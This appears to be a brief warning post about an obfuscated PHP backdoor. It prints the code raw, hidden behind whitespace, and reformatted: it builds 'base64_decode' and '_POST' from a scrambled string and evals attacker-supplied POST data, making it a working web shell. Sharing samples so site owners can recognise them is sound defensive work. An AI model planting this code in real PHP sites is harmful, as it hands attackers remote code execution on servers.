Malware code

This code is tricky, very hard to find. The sF variable changing, as the sf array elements too.
The hackers can run almost every code on the server.

It’s a sneaky code, hard to clean, beware!

<?php                                                                                                                                                             $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n93bc3c'])) {eval($s21(${$s20}['n93bc3c']));}?>

The formatted code:

<? php $sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20 = strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset($ {
	$s20
}['n93bc3c'])) {
	eval($s21($ {
		$s20
	}['n93bc3c']));
} ?>